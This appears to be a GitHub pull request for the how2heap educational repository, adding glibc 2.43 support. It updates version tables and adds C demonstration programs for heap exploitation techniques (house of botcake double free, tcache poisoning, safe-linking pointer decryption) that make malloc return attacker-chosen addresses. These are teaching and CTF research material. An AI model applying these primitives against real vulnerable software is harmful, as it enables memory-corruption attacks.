Skip to content
Merged

2.43 #232

Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion Makefile
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
.PHONY: help clean distclean all test

VERSIONS := 2.23 2.24 2.27 2.31 2.32 2.33 2.34 2.35 2.36 2.37 2.38 2.39 2.40 2.41 2.42
VERSIONS := 2.23 2.24 2.27 2.31 2.32 2.33 2.34 2.35 2.36 2.37 2.38 2.39 2.40 2.41 2.42 2.43
TECH_BINS := $(patsubst %.c,%,$(wildcard glibc_*/*.c))
BASE_BINS := $(patsubst %.c,%,$(wildcard *.c))
DOWNLOADED := glibc-all-in-one/libs glibc-all-in-one/debs
Expand Down
10 changes: 5 additions & 5 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,9 +10,9 @@ We came up with the idea during a hack meeting, and have implemented the followi
|------|-----|-----------|---------------|-------|---------------------------|
| [first_fit.c](first_fit.c) | | Demonstrating glibc malloc's first-fit behavior. | | | |
| [calc_tcache_idx.c](calc_tcache_idx.c)| | Demonstrating glibc's tcache index calculation.| | | |
| [fastbin_dup.c](glibc_2.35/fastbin_dup.c) | <a href="https://wargames.ret2.systems/level/how2heap_fastbin_dup_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Tricking malloc into returning an already-allocated heap pointer by abusing the fastbin freelist. | latest | | |
| [fastbin_dup_into_stack.c](glibc_2.35/fastbin_dup_into_stack.c) | <a href="https://wargames.ret2.systems/level/how2heap_fastbin_dup_into_stack_2.23" title="Debug Technique In Browser">:arrow_forward:</a> | Tricking malloc into returning a nearly-arbitrary pointer by abusing the fastbin freelist. | latest | | [9447-search-engine](https://github.com/ctfs/write-ups-2015/tree/master/9447-ctf-2015/exploitation/search-engine), [0ctf 2017-babyheap](https://web.archive.org/web/20181104155842/http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html) |
| [fastbin_dup_consolidate.c](glibc_2.35/fastbin_dup_consolidate.c) | <a href="https://wargames.ret2.systems/level/how2heap_fastbin_dup_consolidate_2.23" title="Debug Technique In Browser">:arrow_forward:</a> | Tricking malloc into returning an already-allocated heap pointer by putting a pointer on both fastbin freelist and the top chunk. | latest | | [Hitcon 2016 SleepyHolder](https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder) |
| [fastbin_dup.c](glibc_2.35/fastbin_dup.c) | <a href="https://wargames.ret2.systems/level/how2heap_fastbin_dup_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Tricking malloc into returning an already-allocated heap pointer by abusing the fastbin freelist. | < 2.43 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=fa854fc4b8f75b09902ea7ed1180487beb6e4683;hp=7811152d9d9eba3e0f0a3416d9944cc142caaafe;hb=bf1015fb2d7e4057925481960626533f8571a2fb;hpb=e3062b06c5767f672baf9574c4d7cbebf7d0ee6e) | |
| [fastbin_dup_into_stack.c](glibc_2.35/fastbin_dup_into_stack.c) | <a href="https://wargames.ret2.systems/level/how2heap_fastbin_dup_into_stack_2.23" title="Debug Technique In Browser">:arrow_forward:</a> | Tricking malloc into returning a nearly-arbitrary pointer by abusing the fastbin freelist. | < 2.43 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=fa854fc4b8f75b09902ea7ed1180487beb6e4683;hp=7811152d9d9eba3e0f0a3416d9944cc142caaafe;hb=bf1015fb2d7e4057925481960626533f8571a2fb;hpb=e3062b06c5767f672baf9574c4d7cbebf7d0ee6e) | [9447-search-engine](https://github.com/ctfs/write-ups-2015/tree/master/9447-ctf-2015/exploitation/search-engine), [0ctf 2017-babyheap](https://web.archive.org/web/20181104155842/http://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html) |
| [fastbin_dup_consolidate.c](glibc_2.35/fastbin_dup_consolidate.c) | <a href="https://wargames.ret2.systems/level/how2heap_fastbin_dup_consolidate_2.23" title="Debug Technique In Browser">:arrow_forward:</a> | Tricking malloc into returning an already-allocated heap pointer by putting a pointer on both fastbin freelist and the top chunk. | < 2.43 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=fa854fc4b8f75b09902ea7ed1180487beb6e4683;hp=7811152d9d9eba3e0f0a3416d9944cc142caaafe;hb=bf1015fb2d7e4057925481960626533f8571a2fb;hpb=e3062b06c5767f672baf9574c4d7cbebf7d0ee6e) | [Hitcon 2016 SleepyHolder](https://github.com/mehQQ/public_writeup/tree/master/hitcon2016/SleepyHolder) |
| [unsafe_unlink.c](glibc_2.35/unsafe_unlink.c) | <a href="https://wargames.ret2.systems/level/how2heap_unsafe_unlink_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting free on a corrupted chunk to get arbitrary write. | latest | | [HITCON CTF 2014-stkof](http://acez.re/ctf-writeup-hitcon-ctf-2014-stkof-or-modern-heap-overflow/), [Insomni'hack 2017-Wheel of Robots](https://gist.github.com/niklasb/074428333b817d2ecb63f7926074427a) |
| [house_of_spirit.c](glibc_2.35/house_of_spirit.c) | <a href="https://wargames.ret2.systems/level/how2heap_house_of_spirit_2.23" title="Debug Technique In Browser">:arrow_forward:</a> | Frees a fake fastbin chunk to get malloc to return a nearly-arbitrary pointer. | latest | | [hack.lu CTF 2014-OREO](https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/oreo) |
| [poison_null_byte.c](glibc_2.35/poison_null_byte.c) | <a href="https://wargames.ret2.systems/level/how2heap_poison_null_byte_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting a single null byte overflow. | latest | | [PlaidCTF 2015-plaiddb](https://github.com/ctfs/write-ups-2015/tree/master/plaidctf-2015/pwnable/plaiddb), [BalsnCTF 2019-PlainNote](https://gist.github.com/st424204/6b5c007cfa2b62ed3fd2ef30f6533e94?fbclid=IwAR3n0h1WeL21MY6cQ_C51wbXimdts53G3FklVIHw2iQSgtgGo0kR3Lt-1Ek)|
Expand All @@ -34,8 +34,8 @@ We came up with the idea during a hack meeting, and have implemented the followi
| [tcache_house_of_spirit.c](glibc_2.35/tcache_house_of_spirit.c) | <a href="https://wargames.ret2.systems/level/how2heap_tcache_house_of_spirit_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Frees a fake chunk to get malloc to return a nearly-arbitrary pointer. | > 2.25 | | |
| [house_of_botcake.c](glibc_2.35/house_of_botcake.c) | <a href="https://wargames.ret2.systems/level/how2heap_house_of_botcake_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Bypass double free restriction on tcache. Make `tcache_dup` great again. | > 2.25 | | |
| [tcache_stashing_unlink_attack.c](glibc_2.35/tcache_stashing_unlink_attack.c) | <a href="https://wargames.ret2.systems/level/how2heap_tcache_stashing_unlink_attack_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting the overwrite of a freed chunk on small bin freelist to trick malloc into returning an arbitrary pointer and write a large value into arbitraty address with the help of calloc. | > 2.25 | | [Hitcon 2019 one punch man](https://github.com/xmzyshypnc/xz_files/tree/master/hitcon2019_one_punch_man) |
| [fastbin_reverse_into_tcache.c](glibc_2.35/fastbin_reverse_into_tcache.c) | <a href="https://wargames.ret2.systems/level/how2heap_fastbin_reverse_into_tcache_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting the overwrite of a freed chunk in the fastbin to write a large value into an arbitrary address. | > 2.25 | | |
| [house_of_mind_fastbin.c](glibc_2.35/house_of_mind_fastbin.c) | <a href="https://wargames.ret2.systems/level/how2heap_house_of_mind_fastbin_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting a single byte overwrite with arena handling to write a large value (heap pointer) to an arbitrary address | latest | | |
| [fastbin_reverse_into_tcache.c](glibc_2.35/fastbin_reverse_into_tcache.c) | <a href="https://wargames.ret2.systems/level/how2heap_fastbin_reverse_into_tcache_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting the overwrite of a freed chunk in the fastbin to write a large value into an arbitrary address. | 2.26 - 2.42 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=fa854fc4b8f75b09902ea7ed1180487beb6e4683;hp=7811152d9d9eba3e0f0a3416d9944cc142caaafe;hb=bf1015fb2d7e4057925481960626533f8571a2fb;hpb=e3062b06c5767f672baf9574c4d7cbebf7d0ee6e) | |
| [house_of_mind_fastbin.c](glibc_2.35/house_of_mind_fastbin.c) | <a href="https://wargames.ret2.systems/level/how2heap_house_of_mind_fastbin_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting a single byte overwrite with arena handling to write a large value (heap pointer) to an arbitrary address | < 2.43 | [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=malloc/malloc.c;h=fa854fc4b8f75b09902ea7ed1180487beb6e4683;hp=7811152d9d9eba3e0f0a3416d9944cc142caaafe;hb=bf1015fb2d7e4057925481960626533f8571a2fb;hpb=e3062b06c5767f672baf9574c4d7cbebf7d0ee6e) | |
| [house_of_storm.c](glibc_2.27/house_of_storm.c) | <a href="https://wargames.ret2.systems/level/how2heap_house_of_storm_2.27" title="Debug Technique In Browser">:arrow_forward:</a> | Exploiting a use after free on both a large and unsorted bin chunk to return an arbitrary chunk from malloc| < 2.29 | | |
| [house_of_gods.c](glibc_2.24/house_of_gods.c) | <a href="https://wargames.ret2.systems/level/how2heap_house_of_gods_2.24" title="Debug Technique In Browser">:arrow_forward:</a> | A technique to hijack a thread's arena within 8 allocations | < 2.27 | | |
| [decrypt_safe_linking.c](glibc_2.35/decrypt_safe_linking.c) | <a href="https://wargames.ret2.systems/level/how2heap_decrypt_safe_linking_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Decrypt the poisoned value in linked list to recover the actual pointer | >= 2.32 | | |
Expand Down
25 changes: 17 additions & 8 deletions glibc_2.42/house_of_tangerine.c
Original file line number Diff line number Diff line change
Expand Up @@ -140,18 +140,27 @@ int main() {

assert(freed_top_size == CHUNK_SIZE_1);

// free the previous top_chunk
heap_ptr = malloc(SIZE_3);

// this will be our vuln_tcache for tcache poisoning
vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2];

printf("tcache next ptr: 0x%lx\n", vuln_tcache);

// free the previous top_chunk
heap_ptr = malloc(SIZE_3);

// in glibc-2.42, the freed chunk will be directly added into fastbin, which is not
// as good as in tcachebin, let's force it to be in tcache by taking it out and free it
free(malloc(SIZE_1));

// do the above again to free one more chunk so that we can moves chunks from smallbin to tcache
printf("repeat the above process and obtain one more free chunk\n");
top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1];
new_top_size = top_size & PAGE_MASK;
heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size;
heap_ptr = malloc(SIZE_3); // do the free
printf("At this point, the latest freed chunk will be in fastbin while the other two in smallbin.\n");
printf("We do one more large allocation malloc(0x10000) to move the chunk from fastbin to smallbin, so 3 chunks in smallbin\n");
void *pad1 = malloc(0x10000); // a huge allocation that moves the fastbin to smallbin
printf("Now, we allocate one chunks from the smallbin, this will move the other two chunks into tcache.\n");
void *pad2 = malloc(SIZE_1); // allocate from the smallbin to move things into tcache

printf("Finally, we can do tcache poisoning.\n");
// corrupt next ptr into pointing to target
// use a heap leak to bypass safe linking (GLIBC >= 2.32)
heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12);
Expand All @@ -164,5 +173,5 @@ int main() {

// proof that heap_ptr now points to the same string as target
assert((size_t) heap_ptr == target);
puts((char *) heap_ptr);
puts("Success! During the whole process, we didn't use the free() function.");
}
66 changes: 66 additions & 0 deletions glibc_2.43/decrypt_safe_linking.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

long decrypt(long cipher)
{
puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,");
puts("because of the 12bit sliding.");
puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)");
long key = 0;
long plain;

for(int i=1; i<6; i++) {
int bits = 64-12*i;
if(bits < 0) bits = 0;
plain = ((cipher ^ key) >> bits) << bits;
key = plain >> 12;
printf("round %d:\n", i);
printf("key: %#016lx\n", key);
printf("plain: %#016lx\n", plain);
printf("cipher: %#016lx\n\n", cipher);
}
return plain;
}

int main()
{
/*
* This technique demonstrates how to recover the original content from a poisoned
* value because of the safe-linking mechanism.
* The attack uses the fact that the first 12 bit of the plaintext (pointer) is known
* and the key (ASLR slide) is the same to the pointer's leading bits.
* As a result, as long as the chunk where the pointer is stored is at the same page
* of the pointer itself, the value of the pointer can be fully recovered.
* Otherwise, we can also recover the pointer with the page-offset between the storer
* and the pointer. What we demonstrate here is a special case whose page-offset is 0.
* For demonstrations of other more general cases, plz refer to
* https://github.com/n132/Dec-Safe-Linking
*/

setbuf(stdin, NULL);
setbuf(stdout, NULL);

// step 1: allocate chunks
long *a = malloc(0x20);
long *b = malloc(0x20);
printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b);
malloc(0x10);
puts("And then create a padding chunk to prevent consolidation.");


// step 2: free chunks
puts("Now free chunk a and then free chunk b.");
free(a);
free(b);
printf("Now the freelist is: [%p -> %p]\n", b, a);
printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]);

// step 3: recover the values
puts("Now decrypt the poisoned value");
long plaintext = decrypt(b[0]);

printf("value: %p\n", a);
printf("recovered value: %#lx\n", plaintext);
assert(plaintext == (long)a);
}
86 changes: 86 additions & 0 deletions glibc_2.43/house_of_botcake.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,86 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>


int main()
{
/*
* This attack should bypass the restriction introduced in
* https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
* If the libc does not include the restriction, you can simply double free the victim and do a
* simple tcache poisoning
* And thanks to @anton00b and @subwire for the weird name of this technique */

// disable buffering so _IO_FILE does not interfere with our heap
setbuf(stdin, NULL);
setbuf(stdout, NULL);

// introduction
puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
puts("returning a pointer to an arbitrary location (in this demo, the stack).");
puts("This attack only relies on double free.\n");

// prepare the target
intptr_t stack_var[4];
puts("The address we want malloc() to return, namely,");
printf("the target address is %p.\n\n", stack_var);

// prepare heap layout
puts("Preparing heap layout");
puts("Allocating 0x10 chunks(malloc(0x100)) for us to fill up tcache list later.");
intptr_t *x[0x10];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
intptr_t *prev = malloc(0x100);
printf("Allocating a chunk for later consolidation: prev @ %p\n", prev);
intptr_t *a = malloc(0x100);
printf("Allocating the victim chunk: a @ %p\n", a);
puts("Allocating a padding to prevent consolidation.\n");
malloc(0x10);

// cause chunk overlapping
puts("Now we are able to cause chunk overlapping");
puts("Step 1: fill up tcache list");
for(int i=0; i<0x10; i++){
free(x[i]);
}
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
free(a);

puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
free(prev);

puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
malloc(0x100);
/*VULNERABILITY*/
free(a);// a is already freed
/*VULNERABILITY*/

puts("Now we have the chunk overlapping primitive:");
puts("This primitive will allow directly reading/writing objects, heap metadata, etc.\n");
puts("Below will use the chunk overlapping primitive to perform a tcache poisoning attack.");

puts("Get the overlapping chunk from the unsorted bin.");
intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);
puts("Use the overlapping chunk to control victim->next pointer.");
// mangle the pointer since glibc 2.32
unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;

puts("Get back victim chunk from tcache. This will put target to tcache top.");
a = malloc(0x100);
int a_size = a[-1] & 0xff0;
printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size);

puts("Get the target chunk from tcache.");
intptr_t *target = malloc(0x100);
target[0] = 0xcafebabe;

printf("target @ %p == stack_var @ %p\n", target, stack_var);
assert(stack_var[0] == 0xcafebabe);
return 0;
}
Loading